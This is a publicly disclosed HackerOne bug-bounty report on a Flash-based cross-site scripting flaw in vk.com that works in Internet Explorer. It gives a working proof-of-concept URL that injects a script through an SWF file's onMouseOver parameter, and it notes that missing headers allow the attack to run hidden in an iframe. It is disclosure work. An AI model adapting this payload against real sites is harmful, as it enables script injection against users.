HexBrain
Open on HackerOneSign in

VK.com · Report #66121

XSS at http://vk.com on IE using flash files

Validstatus
$500bounty
2upvotes
30 Oct 2015disclosed

Summary

Flash XSS at vk.com only on Internet Explorer after bypassing few restrictions. More info is available at http://blog.tunnelshade.in/2015/09/interesting-flash-xss-on-vkcom.html

How it was found

Steps

  • Open the below url in Internet Explorer
http://vk.com/swf/photo_uploader_lite.swf?h=h?&onMouseOver=document.write(window.location.hash.substr(1))#<script>alert(document.domain)</script>
  • Just hover your mouse over the page.

Minor Observations

  • No "X-Content-Type-Options: nosniff" header allows IE to play the flash file directly whereas other browsers present download dialog as the content type served is application/zip.
  • No X-Frame options will allow this attack to be placed inside an iframe and run stealthily.
  • Other flash files such as http://vk.com/swf/CaptureImg.swf will also be vulnerable in a similar fashion.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original